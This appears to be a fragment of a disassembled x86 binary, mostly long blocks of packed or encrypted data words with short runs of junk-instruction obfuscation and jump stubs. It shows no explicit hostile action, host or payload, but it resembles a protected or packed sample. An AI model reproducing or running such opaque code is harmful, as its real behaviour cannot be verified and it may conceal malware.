		dd 2E7FC08Ch, 9AD9300Eh, 68B696B7h, 785D101Fh, 0C3751EF0h
		dd 0D51A2F3h, 0E431F969h, 0C3751E1Ch, 0BFCC617h, 9B652043h
		dd 45451457h, 4A86A6E7h, 0B78BABFDh, 75AB7DC2h,	87A7E4C3h
		dd 795D4CBBh, 97335A25h, 0A29AC02Bh, 0E7387483h, 77664593h
		dd 929E9653h, 0C80335DAh, 1BB56043h, 2967D984h,	70h, 547A52BDh
		dd 0E2CFB306h, 145EC375h, 0DE3C000Bh, 4596B691h, 49537766h
		dd 67D98ED7h, 6F5h, 4B42ED00h, 355E086Bh, 0DE1D3D6Ah, 0A7FBDBF3h
		dd 9D657258h, 0ACF64008h, 90BF1760h, 6B5796B8h,	0D5290D1Ch
		dd 0A267636Ah, 4DA8889Dh, 0CA062466h, 0F147521Ah, 0F2C37516h
		dd 248C29A1h, 3FC37516h, 68A08FEEh, 62DA8A46h, 9B6D70F2h
		dd 0E589B76h, 8566452h,	0F0D4F758h, 0D6043AAh, 8E913919h
		dd 7EBD9Dh, 49DBFF6Ch, 48D77941h, 0B0207E40h, 4599BDEFh
		dd 0FD2A0964h, 0E2AF11A4h, 5BA4C375h, 0C0CB340Ah, 75519EFCh
		dd 237F5F4Bh, 0DAA5F9CAh, 0A7AB17B3h, 76FEE2E4h, 7667D98Ch
		dd 55h,	56645270h, 0CAF23F08h, 0F45B0BF4h, 5FAE8CCAh, 0FF4D4D1Ch
		dd 0FE458BB3h, 7FC08AB0h, 0D72B0A32h, 419DA1E8h, 0C8D0F695h
		dd 67D98C68h, 5D04h, 7D354E00h,	79AD243h, 137EBD3Fh, 0F7BF1727h
		dd 75F55E22h, 290455C3h, 9DBDEED9h, 86C541h, 884076A0h
		dd 5A7852D8h, 52E45C04h, 2100851Eh, 9B60C924h, 2C37577h
		dd 1698E058h, 4B169A3Fh, 0DC2DC375h, 0BF6A1FAh,	0B11B928h
		dd 67D8DD99h, 93CDF55Ah, 6A499ABAh, 191h, 6A35D500h, 313A1C22h
		dd 0A4CA124Fh, 75A291ECh, 1E0E7945h, 0DDEE238h,	0CAF23F8Dh
		dd 82836906h, 6920EDC8h, 4CCC95Dh, 9249CFB1h, 0B8FBC4C6h
		dd 3CA4FACBh, 0D4172713h, 0ED86AFF9h, 3013DEBFh, 0BC60E839h
		dd 5590A493h, 46082E7Eh, 0A95BAEEEh, 205F193h, 0AC92D122h
		dd 92CC65C9h, 7A1C4FC6h, 0F8B9E649h, 92CC6BDDh,	0CE1F68C6h
		dd 7B7A90F0h, 60D1E455h, 0AFF9D417h, 0D2FA418Fh, 0C962DA8Ch
		dd 0D7677A52h, 19654943h, 0BA84E730h, 277B5B4Dh, 92E8EED8h
		dd 7E5C7CA5h, 75FD4356h, 0A5F6C692h, 0F23C5A01h, 0D8D46CE4h
		dd 0B3D0676Ch, 18BE310Ch, 92BE8088h, 0F26DA33Dh, 116A161h
		dd 2250000h, 12A72FEEh,	0C95CF725h, 229623EBh, 21C692F6h
		dd 0D72095D0h, 0CE63DB8Bh, 5F9F071Fh, 0D8FE2807h, 6548AB82h
		dd 66CD0323h, 0AA3A0026h, 7EBD9D85h, 0C9153913h, 309036A5h
		dd 0B51A3618h, 61F2691Bh, 3E29h, 6A35BD00h, 9F220121h
		dd 0BE1BB350h, 0C375E31Ah, 8F724899h, 0C375E239h, 0AA5670F3h
		dd 6C725845h, 4A6E4B03h, 69C375E3h, 526BC961h, 6152E3EAh
		dd 75CD3C84h, 95E637C3h, 9280BBh, 2D60000h, 0FD4356EEh
		dd 7FC375E2h, 7A0595E0h, 48996A5Eh, 0C2C8577Fh,	6C4F9EFCh
		dd 284E5366h, 430BC95Ch, 92278276h, 67B081C6h, 92CBC06Fh
		dd 9227B107h, 1061B2C6h, 5AE5EDD5h, 3F0E6C72h, 97B791FCh
		dd 0EDBA92B9h, 922760C8h, 0DF1263C6h, 0B495E9CDh, 0D3A2176Bh
		dd 0F5C69226h, 68D0E5ADh, 6BC69224h, 0E88DB1Ah,	84446AA2h
		dd 4A1C01EFh, 83A0D66Fh, 0ACF2C3CCh, 19654943h,	20D0F665h
		dd 0D7F7D7CCh, 55A9AD98h, 16A32B74h, 0C2B22CEDh, 93B799EAh
		dd 1216A35h, 0F291EC3Dh, 62B71FFEh, 0C96466D1h,	46B18DDEh
		dd 43E86046h, 0A4196549h, 0F67E40CAh, 5EEAECFFh, 5BE0684Eh
		dd 26116D71h, 0B78FC7E7h, 0F300E435h, 0B48AE9C0h, 207E5E4Bh
		dd 8BD7F7D7h, 0E85274E7h, 11351ACAh, 0A19CED31h, 1038880Eh
		dd 133502CEh, 3ECEF33h,	3A000000h, 66526F23h, 0EB3D0A50h
		dd 8388F7CBh, 25105FA3h, 0B4E2CD11h, 434FB886h,	0F1D8277Bh
		dd 79A691EDh, 18327D41h
		db 3Ah,	0E4h, 2
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		mov	ecx, 4
		sub	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ecx
		push	794667F4h
		pop	ebx
		dec	ebx
		add	ebx, 8CA81BD3h
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		mov	edx, ebx
		push	eax
		mov	eax, edx
		mov	[ecx+8], eax
		pop	eax
		pop	edx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_545FF7
; ---------------------------------------------------------------------------
		dw 145Bh
		dd 0B83D79FCh, 5EE885Eh, 0E0FFC503h, 43911859h,	445DB81Ch
		dd 7FFEEBE6h, 5597E55h,	20D7F1E9h, 89A38D8Dh, 535005EEh
		dd 26CD8509h, 5F5F05E7h, 23158D89h, 8BB405E7h, 8B985C7h
		dd 6F5005E7h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 190424h, 53430000h, 0BCEDF9C3h, 0C7FA95B9h, 0E70C9985h
		dd 5, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1D04h, 0C3534300h, 618B3DBh,	80D4ACB0h, 0B70FE6D9h
		dd 75B5FFD1h, 6A05E715h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 0E499C356h,	5B3B06E5h
		dd 6A62F6BFh, 0CD95FF76h, 8B05E732h, 0FF006AF7h, 0E71A1D95h
		dd 0EBC08B05h, 0B8B8F71Dh, 0BE668513h, 0B8B5C0CFh, 83E58B66h
		dd 0C2FE6AAFh, 208CF035h, 8E2B74CAh, 8D8DBB04h,	5EE8AD6h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 0BDC35040h
		dd 89D7BF0Fh, 0E723158Dh, 57006A05h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 7E987D4h, 7C000000h
		dd 0B34D654Ch, 0DE9574Ah, 0B2000000h, 15595365h, 53596949h
		dd 9637C14Dh, 8B985C7h,	709805E7h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 0C4912AC3h
		dd 9985C7C9h, 5E70Ch, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 0F867C353h,	2D35B5FFh
		dd 6A05E7h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 0CF1AB1C3h, 2C4D8D89h, 95FF05E7h,	5E732CDh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 0CDC35141h
		dd 9D03F9E3h, 5E715B9h,	95FF006Ah, 5E71A1Dh, 8EBC08Bh
		dd 2E4980E4h, 0D359E917h, 7E8h,	0DD733D00h, 8F73E778h
		dd 6870Fh, 8D010000h, 5E70055h,	3F41BB5Eh, 0C68115FCh
		dd 61F9h, 7C31B966h, 0BAh, 0D88B6600h, 8B3234FFh, 0E702E5BDh
		dd 8D8B5805h, 5E72595h,	1C22E881h, 0F0814142h, 456F6D32h
		dd 58C0Fh, 81660000h, 81BF1ACBh, 8A629C0h, 5E974h, 4A400000h
		dd 89DBA8C6h, 8E91604h,	81000000h, 0C49E4115h, 2B4E929Ch
		dd 0E71D019Dh, 4EA8305h, 1870F53h, 0FC000000h, 98FA815Bh
		dd 0FFFFF9Eh, 0FFFF9B85h, 8326B9FFh, 8D8D71FDh,	5EE8C96h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0D1C35343h
		dd 9BD655C5h, 0B58978ECh, 5E72249h, 58D8D89h, 8D8905E7h
		dd 5E72315h, 0AA59589h,	85C705E7h, 5E708B9h, 6D70h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 52C35040h, 97AE0821h
		dd 268DB589h, 0EE905E7h, 0AC000000h, 4662B2EFh,	9B3AA941h
		dd 4595F2F0h, 9985C7EFh, 5E70Ch, 6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 0B31CC355h
		dd 0FF90230Bh, 0E7017DB5h, 57006A05h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 0E7D7A627h
		dd 9ABAE3F8h, 23350F8Ah, 0E7053DB5h, 0CD95FF05h, 6A05E732h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 0BAEAC355h, 0EE9CA00Ch, 0B1858B1Ah, 6605E730h
		dd 0F4CBD681h, 95FF006Ah, 5E71A1Dh, 3BEBC08Bh, 0FCA75A28h
		dd 9D088602h, 9A7993D6h, 0CB3606B6h, 0B45C3F72h, 0EEF6BDCDh
		dd 0DF88DF4Ch, 12969294h, 36DF1AA1h, 2CA5E262h,	506571A8h
		dd 3180BCDEh, 211FC1E5h, 4A832AD3h, 8BAF2A07h, 0C0h, 1E9h dup(0)
		dd 0F9000000h, 0E9F18A60h, 0Ch,	4A5B7B5Eh, 0ED99A0EFh
		dd 0D35BC25Ch, 60609D61h, 80CEBF0Fh, 616187DCh,	55006A61h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 4892FEBAh, 5C51CD80h, 6A5DF906h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 0E900C353h
		dd 0Ch,	565A01A0h, 2EF7E3A3h, 0DA3AAEF5h, 8244401h, 6A58F9h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 0E0335C3h, 0F9B7B9Eh, 1B80h,	0EE96000h, 9000000h, 2CB54C2Ch
		dd 0FBE77058h, 7BC5F700h, 17F781F8h, 61789320h,	0F8BF0F60h
		dd 61B0F480h, 6AC39Dh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 7C53B2C3h, 0F86078DFh, 14E8h, 371CD800h
		dd 0D181B70Bh, 67E84A7Ah, 0A836AB2h, 9A01E0EFh,	5861606Eh
		dd 0AE961h, 0FF240000h,	5900FD44h, 0FE899934h, 0B9BAC08Bh
		dd 0F8691031h, 12E9h, 1974F000h, 9FEBC69Fh, 0DB0B6BF8h
		dd 75AA4C6Bh, 0BF754031h, 10A96101h, 14E9h, 1F19F400h
		dd 2A493489h, 9BAF1A11h, 0E66D82D7h, 0F2256A44h, 14E9B8h
		dd 7FC40000h, 8EDB4017h, 0F2E84F74h, 0B52A75BDh, 5A6E3A9Ah
		dd 8166DFEDh, 0F2DB6D7h, 683h, 0D4E98100h, 0E96CA5B2h
		dd 5, 0BB07BBDh, 0D9BF0F6Eh, 1890FF9h, 0F5000000h, 81666060h
		dd 611C7EC6h, 0FF94D081h, 0F8610B97h, 338CBEFCh, 92BA6243h
		dd 813E5B3Eh, 6AACF0D2h, 66CA8B71h, 240CC781h, 0BE68DE80h
		dd 70A8BA25h, 0BA6685B3h, 0C28B3129h, 8E9h, 0EEBCCC00h
		dd 2191F17Ah, 40EA818Dh, 0E9145707h, 0Dh, 6917AE88h, 0F6A5AC8Fh
		dd 6CD9FE6h, 0F4D88153h, 601047FFh, 5A50CB8Bh, 7890F61h
		dd 60000000h, 1BBA5EBFh, 0FB9611Fh, 802909CEh, 0E9609DD9h
		dd 10h,	63EED7A7h, 77ABCD62h, 0D0C1D39h, 0E2C7C5DBh, 13E961h
		dd 0A0160000h, 54EFBE86h, 2A6A8CBh, 450A9198h, 2ACC21EEh
		dd 0D38A6026h, 9E8h, 0ED976B00h, 6D8D9DAh, 5EF80570h, 2850F61h
		dd 0B6000000h, 80DF8BB9h, 0D08114F6h, 479F495Bh, 0DE5F21BBh
		dd 0CDBA660Eh, 0D7BF0F41h, 74C38166h, 850FF8D5h, 4, 5EF28B52h
		dd 9E9h, 2E6800h, 5FD45960h, 66F8F2B2h,	68CAE781h, 10CF081h
		dd 0C18B6F46h, 3EC98166h, 0BDEB8109h, 6012D947h, 0F98B6652h
		dd 0E4B96659h, 0DE96165h, 3F000000h, 65A00B72h,	15B5A759h
		dd 9A8EA95Dh, 63BFF88Bh, 6023DC83h, 7E9h, 0E733E600h, 0AB373C84h
		dd 0F9ABC281h, 0F610059h, 387h,	17CC8000h, 0AE8h, 5F5DDB00h
		dd 413953C5h, 66C4165Ah, 0F5FF08Bh, 387h, 0D68B6600h, 9E9F8h
		dd 0C0A20000h, 4C03138Eh, 6014F8A2h, 0FF78B66h,	584h, 0FE9FB800h
		dd 0F613D4Dh, 7E8C3BFh,	53000000h, 0A1B4E01Ch, 0BF0F1B24h
		dd 9E85ED9h, 56000000h,	37F50195h, 0CC73566Ah, 5FC1BF0Fh
		dd 97DDDABEh, 0B966F91Ch, 0CE96F88h, 41000000h,	81F0E038h
		dd 203B7554h, 60DFC5A3h, 0EE9h,	39084200h, 9DB3CE98h, 1899055Fh
		dd 8B511DFCh, 9E961F0h,	0EA000000h, 0FCFE7CE4h,	4243BA0Bh
		dd 5E9h, 0B57D800h, 0B70F8D97h,	816651CAh, 5EEE9FF3h, 0EBDF8166h
		dd 0CE89Eh, 729E0000h, 4AED4794h, 80134541h, 0BE9F6EEh
		dd 0A7000000h, 515CCA18h, 85089EDDh, 805F534Dh,	12E864E1h
		dd 0C4000000h, 6EE27565h, 0DF157FD2h, 9BA7CFDBh, 0F5F6D2AFh
		dd 5E986h, 1BBD0000h, 5FD1C1DFh, 8C0Fh,	860F0000h, 2, 0B866F6B4h
		dd 11E81978h, 80000000h, 0BF329011h, 0EB9372Ah,	0D5C8D434h
		dd 2B3C782Ch, 2880Fh, 5F560000h, 0E9C38A5Fh, 13h, 5EDD9155h
		dd 1C31091h, 414031Bh, 39386059h, 0F8A7D68h, 181h, 0CE80F800h
		dd 0F7BF0F34h, 0F949D880h, 0DE9h, 0C64D7600h, 0D92A41A9h
		dd 2BF620C8h, 0F78BB070h, 1820F51h, 0F5000000h,	647CBA5Eh
		dd 0B76033DBh, 0D8BF0F06h, 58F85261h, 0F9D68B66h, 7E9h
		dd 0BA68B000h, 7F7B282h, 0BE6699B2h, 0E9F9B344h, 9, 54E783DDh
		dd 96CCC83h, 0D6CA81F9h, 0F94F4689h, 9DBB6660h,	61FA8BCFh
		dd 4820F60h, 66000000h,	66B0ABBEh, 0A939D781h, 0F870BF61h
		dd 8166217Dh, 0E907B8CFh, 8, 0C207E36h,	17E6FEA6h, 0CD82B866h
		dd 0C33885B9h, 8E0F7Fh,	53000000h, 8E9h, 0FA768F00h, 140ED998h
		dd 0EF8159E1h, 23752CD4h, 7A5DB866h, 49E5BB66h,	800F92B5h
		dd 3, 60DE8B66h, 10810Fh, 0BE90000h, 0
		dd 3610FE48h, 364E526Dh, 14E8F683h, 52000000h, 54C84DB8h
		dd 88A170A2h, 0A5BC99E1h, 0D0F02986h, 8BAEAC62h, 0F9615AFAh
		dd 0C850Fh, 850F0000h, 6, 8A0Fh, 60600000h, 0FCF98B66h
		dd 0C1816661h, 0E96124EDh, 7, 0F5FAE550h, 8A5ED4D2h, 0C38166E3h
		dd 880F6584h, 3, 0FD68B66h, 7DB3D2BFh, 8166A8B4h, 0F5F9DCDBh
		dd 830FD5B5h, 6, 0DFD0CB81h, 0C38A26D1h, 0E9AEF580h, 14h
		dd 294055B7h, 9821B3Ah,	542EB427h, 81213D38h, 0FFC5831Bh
		dd 5890Fh, 81660000h, 8B8049F6h, 0DE8D0h, 9F230000h, 0F9BD0E60h
		dd 50667F4Dh, 66C19CE9h, 0E958D68Bh, 0Ah, 0B805DC74h, 142CB156h
		dd 6E9C0DFh, 70000000h,	0E04FDCB6h, 7E9A1h, 96580000h
		dd 0EBAD7678h, 0A17FBBBCh, 0C6806C29h, 0DE9D4h,	80240000h
		dd 0D18789h, 0F2F15DEDh, 66499EACh, 60DD2BBFh, 13870Fh
		dd 0EE90000h, 0D4000000h, 69B3DA1Fh, 36156413h,	0DCE4A58h
		dd 5161F875h, 665BCF8Ah, 666573BAh, 0AAFFE381h,	0E8F3B70Fh
		dd 8, 3DD78C95h, 0DB9E6EF6h, 7E953h, 0F79E0000h, 59DB0183h
		dd 0E95A580Dh, 0Ah, 0FA63C6E7h,	308B73C3h, 0EB814FC9h
		dd 3640F23Dh, 5E9h, 4237DD00h, 81F51626h, 0AC57A1F2h, 14E97Fh
		dd 0D4890000h, 684618Fh, 0BBE8DE64h, 8504409Ah,	4ED34501h
		dd 7FBE0205h, 53641128h, 10E9h,	4990AE00h, 4A818E1Eh, 359783CDh
		dd 0E63F7C33h, 0BE6658C6h, 830F0003h, 6, 7F31CA81h, 12E91209h
		dd 42000000h, 0E74C9644h, 0CA3C8997h, 179D7BC8h, 0E9BE788Eh
		dd 86E18102h, 0FC2152CFh, 66C88B66h, 8166C28Bh,	0E84335CEh
		dd 0Bh,	8C105486h, 8571C8C0h, 8002882Ch, 665F6CDDh, 8B66C68Bh
		dd 1860FC1h, 0F9000000h, 0C0CF8166h, 14E92Ch, 64840000h
		dd 0E783DD74h, 6CCC8354h, 4DB1F909h, 8F093AC7h,	0E9600E4Ch
		dd 0Eh,	6713D27Ah, 90805577h, 35EBC4CBh, 0EE89F2Fh, 0BD000000h
		dd 1CFD288Ah, 10F24D6Ah, 1EA6AC3Ah, 0CB8B664Dh,	0D88B6159h
		dd 0AC18EE81h, 8B666DB1h, 6ECE81F2h, 8B041BF5h,	0E3E180CEh
		dd 0A9D08152h, 58408119h, 8A609EB3h, 0F38B66D9h, 10E861h
		dd 32AF0000h, 0B7F7E2F4h, 6C6FFD4Dh, 0B2D18922h, 6656F224h
		dd 0BA0DCE81h, 81665E59h, 0F0753E2h, 585h, 6BCCBE00h, 11E94FE0h
		dd 0C8000000h, 6CBF646Dh, 0D6647E92h, 97541B94h, 7F298F0Ch
		dd 48B0Fh, 0BF660000h, 0B8666C04h, 0CC8A08BDh, 153DBA66h
		dd 6097DC80h, 0FF8B70Fh, 0E861C6BFh, 6,	2BC6DFEAh, 0ABBA3320h
		dd 5A31D47Dh, 0FFBB70Fh, 380h, 86DA8000h, 8718F781h, 0C68A3A07h
		dd 0E8F0Fh, 9E90000h, 0BF000000h, 6D09E8CCh, 852AF1Bh
		dd 0C88B50F9h, 0F081575Bh, 12F1925h, 0C2816658h, 820F2567h
		dd 6, 20BAC681h, 64BF6F22h, 520891F6h, 5BF78B66h, 0E4C68166h
		dd 58A0FADh, 66000000h,	0A716D881h, 5E9h, 0B9A53100h, 8166BB8Ch
		dd 60F238C0h, 9E8h, 0C4EE3E00h,	0FBA2216Ch, 8B66C4BDh
		dd 0FEBF5EDEh, 610725A6h, 3F6EB966h, 0BE960h, 38F0000h
		dd 837B66E8h, 909B1A65h, 12E9DCh, 28130000h, 622717ECh
		dd 0A6F8B429h, 62D3B952h, 2AF9005Dh, 28F0F61h, 8B000000h
		dd 5870FC3h, 56000000h,	59C18B66h, 0D081D38Bh, 2335B5D4h
		dd 2880Fh, 0D78B0000h, 8B66F7B7h, 0BE8CAh, 0D7790000h
		dd 302C6DC0h, 0DDB38E20h, 68C0F38h, 0F000000h, 8Ch, 0BF0F5F00h
		dd 0BA6656DAh, 6658A608h, 0D13BEF81h, 9E8FCh, 0B6CF0000h
		dd 92D9C421h, 5B32CEE9h, 0B2DA8166h, 46EA8158h,	0F7F5B4Bh
		dd 14BBFEB7h, 0F457E56h, 189h, 11E9FC00h, 37000000h, 0D181B70Bh
		dd 67E84A7Ah, 0A836AB2h, 9A01E0EFh, 10E9h, 4711A100h, 19C04300h
		dd 0E8D41413h, 65247B41h, 1840F95h, 0F9000000h,	51D98B66h
		dd 58FEB70Fh, 66C2BF0Fh, 0A84CDF81h, 0BFD9B70Fh, 2CC8D56Bh
		dd 0E78166F9h, 0C68B62A0h, 2F6AD681h, 8C0F75F6h, 11h, 0CE9h
		dd 0D2949F00h, 2B0FC7Dh, 0AD684932h, 60BE661Dh,	29B9665Fh
		dd 0DE9F8CEh, 0A2000000h, 231EE4BCh, 0C025B075h, 0E4C098ABh
		dd 0B36CF381h, 0C8813BA0h, 484A56B6h, 58B0Fh, 53600000h
		dd 8A61F558h, 6840FCAh,	81000000h, 511349D2h, 0CFBF0F1Ah
		dd 11E9h, 0D420B600h, 731728D4h, 8651973Fh, 0D089E31Dh
		dd 8B6652A5h, 0BF0FF8F9h, 0FF38BF0h, 88h, 0FFB70F00h, 0F0A11BBAh
		dd 0E960F80Ah, 10h, 0F6CEA4Ch, 0CD013D58h, 0B9FCD4C8h
		dd 0AA065255h, 0BBD4BE66h, 6625B761h, 0F1899BEh, 18Ch
		dd 8166FC00h, 81B5DAE6h, 0B7088BD7h, 3EB9661Eh,	66F88B09h
		dd 0E908DCBBh, 6, 1C8274A3h, 6660BE01h,	0DCFAD381h, 8B61EA8Ah
		dd 0DF8B60CEh, 9E9h, 0E7F71200h, 3B3254D8h, 606122D7h
		dd 11880Fh, 0CE90000h, 0D000000h, 97312284h, 87A43C23h
		dd 8A8224C2h, 8B6661F1h, 0E9FA8BD1h, 5,	0FCD1AB17h, 3800F84h
		dd 0F000000h, 0BE60D3B7h, 69374756h, 28C0Fh, 0F18B0000h
		dd 8800F61h, 0F000000h,	280h, 66FB8B00h, 662223B9h, 0BEF7C081h
		dd 0E953E38Ah, 0Eh, 7536BE0h, 375724DDh, 0E2C54C5Ch, 8158085Eh
		dd 0EC0A1C8h, 890FF80Bh, 6, 0F438D081h,	9E95286h, 1B000000h
		dd 7D584FE4h, 2055173Ah, 0F8CC980h, 9E9D2B7h, 6D000000h
		dd 0F229C8A8h, 440122F4h, 0FE9h, 9EF21B00h, 58C49AB7h
		dd 0D3088C58h, 0F6DFDAC3h, 0BF66CEB3h, 8B66BED6h, 0AE9F9h
		dd 8FC0000h, 5CC73F23h,	0EA599EBCh, 66F800B0h, 375DC781h
		dd 0BE860h, 23180000h, 7F63214Fh, 7417D3BCh, 0F0EA81A6h
		dd 5B35721Dh, 8F0Fh, 66610000h,	0F82C0BFh, 38Bh, 0FE8B6600h
		dd 9E8h, 19113B00h, 795630D2h, 0F519307h, 5F58FEB7h, 6632D880h
		dd 11CDB81h, 10E8F8h, 0EC3C0000h, 0E1B8462Bh, 0DD571AA9h
		dd 5C1A0CB4h, 8B66FE01h, 0B8505FFBh, 4474E930h,	12E858h
		dd 77070000h, 0ECC34DF5h, 441BA4E0h, 25BFF389h,	823D0BB5h
		dd 6840Fh, 0EF810000h, 4748243Fh, 13E858h, 3D8B0000h, 0BD7EFD02h
		dd 5027B569h, 0E5A78960h, 9E9DC027h, 58A0F48h, 0B9000000h
		dd 326CF7CAh, 8D0F575Bh, 3, 5EDE8B66h, 0F7B70FFCh, 0D9B70FF9h
		dd 12E960h, 0BEF60000h,	4AB7C5Fh, 0AA88E406h, 0E47D0A39h
		dd 0A8B22DB9h, 3B6F3B9h, 0B9F5614Eh, 328F42EBh,	10E8h
		dd 0EDCE700h, 0ABDCF2C1h, 0CFA0D524h, 20640012h, 55BA66B2h
		dd 1BB85F1Fh, 0F0F8C08h, 0C18BC8BFh, 5E9h, 56EE2000h, 0BF0F92DFh
		dd 0F7BF0FC6h, 68B0Fh, 0C0810000h, 71FF6004h, 57C18B66h
		dd 0F0AB966h, 13E85Eh, 0E4EF0000h, 6A4F86E3h, 33A2E91Eh
		dd 5C3247E3h, 22874439h, 5E1AB4A2h, 0BA665253h,	5F5A4783h
		dd 0FC8B70Fh, 487h, 0F2B35100h,	0F7F6815Bh, 0F2EE59Ch
		dd 0BE66FEB7h, 6FB3E7FCh, 11E9h, 53141000h, 0A8FA269Eh
		dd 0E1194E1Fh, 0EE0A0038h, 57603B18h, 39473CB9h, 5E95871h
		dd 28000000h, 24473513h, 5F526061h, 5E861h, 1BCE0000h
		dd 0BAC74CF6h, 3F2C59F7h, 840F565Ah, 4,	0BB89BF66h, 2070BA5Eh
		dd 0BF666997h, 13E8160Ch, 0E9000000h, 0C6E95AE2h
		dd 1E82AE8Dh, 0FF5DBB31h, 0D4DDB787h, 0F6018F3h, 82h, 0BE900h
		dd 0E6FF0000h, 8CEFE606h, 0C9040411h, 665861ABh, 0BB66D88Bh
		dd 0BB6657DDh, 0D48A6B4Dh, 8E8h, 5BAE0400h, 828B35FFh
		dd 0BF0F5819h, 0E9CB8BDAh, 8, 0AFDC9694h, 595516CDh, 8E9h
		dd 9199AC00h, 0F3425219h, 0F18166CEh, 8A0F7DDCh, 0
		dd 0AC9B966h, 8019C180h, 8C0F41CAh, 3, 80D6BF0Fh, 96B1E7E2h
		dd 8166DA8Ah, 6097BBF7h, 0BBD38B66h, 756BC82Ah,	0CF816661h
		dd 0C381A66Ah, 3DE71182h, 108F0Fh, 60600000h, 7E961h, 3CA50000h
		dd 32823AC6h, 0E85361C9h, 0Ah, 51BEB0A8h, 0D48F01EFh, 8B6676E5h
		dd 0F95A5BF2h, 47D18152h, 5A06C421h, 0F9C1BF0Fh, 38F18166h
		dd 0C0B96682h, 2BEB81E7h, 5149E276h, 0DE9h, 6DA5ED00h
		dd 0ADC017FFh, 0A92F2F05h, 0F5A0D68h, 84h, 0F0B70F00h
		dd 0BB60F18Ah, 71DDA799h, 596CF081h, 0BA6106FCh, 11FD9A48h
		dd 0FCBB70Fh, 0B83h, 5870F00h, 66000000h, 50C6DB81h, 0F5753F8h
		dd 5B5EF7BFh, 6F7FBB66h, 0E38AF8F5h, 810FEC8Ah,	3, 80CF8B66h
		dd 0CA8152C3h, 52335CE0h, 0AB4BA66h, 3820Fh, 8B660000h
		dd 8B6660D8h, 2870FF7h,	0B0000000h, 8E0F61B2h, 2, 0F2BBC38Bh
		dd 0E96C7508h, 5, 98DE54D4h, 97EA817Dh,	0E9242BCDh, 6
		dd 0E5E8D85Bh, 0D08A4AC2h, 0BE951h, 0EE430000h,	42D66AB7h
		dd 8448F64Fh, 820F5B7Fh, 16h, 0DE8h, 0E24EC600h, 1E0A90D9h
		dd 5AE68B09h, 0F2806175h, 0E381596Eh, 232D3EC9h, 0BE4CD080h
		dd 69A18EC7h, 3810Fh, 8B660000h, 24E881D3h, 0F230A35h
		dd 880h, 2840F00h, 8A000000h, 8B0F53D4h, 5, 0C7A6E4BBh
		dd 66F85A0Dh, 8730DB81h, 6074EE80h, 8ABB6661h, 0C58AF5BEh
		dd 0BE9h, 8D73ED00h, 9FE2CC79h,	0EB684769h, 0FDEB70Fh
		dd 58Ah, 0F92CB900h, 3EB52EF5h,	38F0Fh,	8B660000h, 60F28BCEh
		dd 0AE8h, 0ACCEFB00h, 4C2B42DAh, 810F6CEAh, 10B030E3h
		dd 8E95851h, 0FC000000h, 0AA54B0DEh, 61F9E3CDh,	3CB685B9h
		dd 0F88B6671h, 0F60CA8Bh, 7E8C9B7h, 86000000h, 97064928h
		dd 0EE81F9DEh, 7F2C5C93h, 8B66615Fh, 0D68B66C2h, 0B70FD08Ah
		dd 7E8D7h, 46300000h, 416558A7h, 0C28166CEh, 5259B47Eh
		dd 0E95B00B3h, 0Ch, 136F6A36h, 51711C12h, 5E8D7698h, 38B0Fh
		dd 8B660000h, 0CE9F0h, 0FB5E0000h, 0C4EF6E09h, 0FB28A1Fh
		dd 0F38178CEh, 7BBEE7C6h, 0DE9h, 335D2700h, 0E4B04E04h
		dd 9CFF2C82h, 8A0F121Fh, 3, 56FABF0Fh, 0CE8h, 9D2EAF00h
		dd 0B87D3ACh, 0EA722CE7h, 8BF6612h, 665B5F08h, 0F8C9F781h
		dd 0BA6652FCh, 0F591103h, 487h,	0C1B86600h, 0F8B70F4Ah
		dd 811CF380h, 730CE0F6h, 0D781662Fh, 0BF0F1E8Fh, 0B8F0FD0h
		dd 0F000000h, 586h, 1DA1BB00h, 0D98B4D85h, 8BD28166h, 6658520Ch
		dd 51510CBEh, 585E5057h, 9E95Ah, 74430000h, 0D86677E2h
		dd 0E9EB4F0Dh, 0Dh, 10E96CACh, 39F60E0Bh, 2D1742CEh, 7DBE6610h
		dd 0CE906h, 0B0FB0000h,	433F3F8Bh, 6309A631h, 0CA8BBE27h
		dd 0CE81CA8Ah, 354D4034h, 58F38166h, 0FE9B8h, 0B0210000h
		dd 0EFFFB531h, 0B1C06BCFh, 8F8D6116h, 0BB665300h, 805AE65Ah
		dd 0EA8A25F0h, 0E246D0BAh, 77EF8118h, 0E90067E0h, 0Ch
		dd 0F6649EE1h, 0CDE1F487h, 0C0AB28A8h, 596CD681h, 14E91F8Ch
